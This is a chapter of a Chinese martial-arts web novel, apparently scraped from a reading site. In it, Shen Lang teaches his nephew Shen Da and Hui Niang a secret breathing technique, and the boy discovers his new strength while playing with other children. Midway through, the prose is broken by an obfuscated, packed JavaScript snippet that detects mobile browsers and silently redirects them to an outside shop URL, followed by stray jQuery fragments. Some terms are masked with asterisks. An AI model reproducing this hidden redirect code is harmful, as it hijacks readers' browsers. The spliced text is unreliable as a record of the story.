等沈达完成课业后，三人便在院子里开始了练功。


    沈浪首先让他们母子站直在了院子里，然后教她们保持跨立。


    接着沈浪开口道：“达儿，我们接下来要练的这套**，名叫《霸体功》，特别注重身体素质，可以快速增加气力。”


    “在正式教你前，我得告诉你重要的一件事，那就是练功的事，一个字都不许对外人提起。”


    此乃立家兴业之**，若被他人得知，必定会觊觎。


    虽说陈乡绅和胡老财家有钱，可他们家里也不曾有人习武**。


    所以沈家目前也只是小门小户，不便将此密辛传出去。


    “嗯嗯！”沈达点了点头。


    因为老早娘亲惠娘就已经告诉过他了，所以他一直守口如瓶，即使同自己玩得最要好的朋友也没透露半句。


    答应是不答应了，但他不理解。


    沈浪也看出来孩子的疑惑，他继续说道：“如今我们初学**，没有大成前，没必要惹麻烦，等到学有所成时，也就不用藏着掖着了。”


    说完沈浪就便进入正题，第一步就是先教他们混元六字吐纳诀。


    他双脚盘坐，双手抱球于腹前，舌抵上腭，眼垂帘，意守丹田。


    心中默念：抱元守一，气归混元。


    惠娘和沈达见状也跟着学了起来。


    刚开始还好，可随着时间一长，沈达就有些坐不住了。


    孩子嘛，心性不定。反观她娘惠娘倒是学得很快。


    所以说女人习武未必会比男人差呢。


    然而接下来的几天里，母子俩一直练的就是吐纳法。


    沈达一开始根本坚持不了，害得惠娘几次破功，追着他满院子跑。


    后来沈浪索性告诉沈达，只要坚持一刻钟就给他吃一颗蜜饯，慢慢地沈达才步入正轨。


    可孩子毕竟是孩子，练功这事，欲速则不达。


    所以坚持了个两天后，沈浪也特地给他放个假，让他出去玩。


    沈达一听不用练功，高兴得蹿得老高。


    蹦蹦跳跳的就出了门，去找他的小伙伴们玩耍去了。


    很快几个小伙伴就在村里的老槐树下玩起了他们最爱玩的游戏——斗鸡。


    就是各自抱起自里的一条腿，单脚站立，然后跳跃地去攻击对方，摔倒或者两腿落地就算输。


    孩子们抱着腿然后开始攻击，没几下，七八个孩子全被沈达顶到了地上。


    其中不乏几个大个子的孩子，以前沈达可没几下就会输的。


    其中一个大点的孩子说道：“沈达，怎么几天不见，你竟变得这么厉害了？”


    沈达放下另一条腿，也纳闷地看了看已经手和脚。


    这也没啥变化啊？怎么突然自己就变得厉害些了呢？


    看着一个个被自己轻松就撞翻在地的小伙伴，沈达憨憨一笑，“我也不知道，要不我们玩其他的去吧！”


    “好啊！走，我们去玩跳房子去。”孩子心性单纯，他们才懒得去想沈达为啥改变了呢。


    说着，孩子们又去了空地上画了几个方块起来。


    这个游戏考验的是跳跃能力和平衡感。


    可几个回合下来，都是沈达跳得最远，最稳。


    渐渐的沈达成了这些孩子的头头，谁叫他最厉害呢。


    过了年，沈达差不多就满10岁了，可一同玩的孩子有比他大好几岁的。


    可他就是比他们力气大，体力也好。


    孩子们玩不过他，一个个的都认为是沈浪吃得太好。


    可玩着玩着，沈达也感受到了自己身体内有一股不寻常的气体在体内游走。


    使他感觉玩游戏的时候充满了力量。


    想了很久，他突然想是明白了什么。


    在他跳完最后一把游戏时，他突然说道：“你们玩吧！我有事，就先回家了。”


    “别啊！沈达，这时间还早着呢，回家干嘛？”


    由于已经成了这群孩子的头头了，他不想扫大家兴，但又想脱身。


    没办法，得出点血了。


    于是沈达从口袋里拿出一把蜜饯，“给，这是蜜饯，我特点带来给你们吃的。”


    见到有好吃的，几个孩子一拥而上，高高兴兴地吃了起来，谁还管沈达玩不玩的。


    沈达见状，转身就往家里跑去。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17307419|198544||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    一进门就冲着沈浪喊道：“二叔，二叔，今日我们继续练功吧！”


    沈浪看着他着急忙慌的很是好奇，“达儿，你不是出去玩了吗？怎么这会儿回来了。”


    “二叔，我要继续练功，练好了功才能和你一样上山杀山豹。”


    一旁摘菜的惠娘都觉得奇怪，这还是她那贪玩淘气的儿子吗？


    “怎么？嫌你二叔给你放一天假，放长了是吧？怎么突然想着回来聊功了？”


    听着惠娘发问，沈达回道：“我发现练完功，我的力气大了许多，跳得也更远了。他们都玩不过我。”


    此话一出沈浪眸光一动。


    看来这《霸体功》确实够霸道，只练了短短几日，便初见成效。


    听到沈达如此一说，惠娘倒也觉得自己也有改变，原先干家务蹲久了头会晕，腰酸背痛的。


    可练完功后，这些症状全没有了，并且觉得自己身体轻快不少。


    看来也和这练功有关系。


    但沈浪知道，**肯定是有作用的，但日常的吃食也是一个方面。


    沈家的伙食，顿顿有肉有精米，在看其他人家吃的是啥？


    糙米，野菜糊糊。


    这体力上能没差距嘛！所以那些孩子玩不过沈达也不足为奇。


    加上**的运转，将这些吃食快速转化成了气力。


    但沈达的话还是让沈浪有些担心，他叮嘱道：“达儿，以后再同孩子们玩，一定切记，不可让人家知道你在练功，知道吗？”


    “明白！”沈达重重点头。


    刚才别的孩子问他的时候，他就已经在注意不暴露练功的事了。


    而惠娘则补充道：“你可千万别在人家面前显摆，还有就是仗势欺人，被我知道了，可饶不了你。”


    “知道了，知道了。”沈达有些迫不及想练功了。


    “那二叔，我现在可以开始练功了吗？”


    “去吧！和以前一样，继续练我教你的混元六字吐纳决。”沈浪摸了摸他的头。


    沈达立马找了个地，开始盘坐练功了起来。


    惠娘也状收拾好手中的菜，她也一起练习了起来。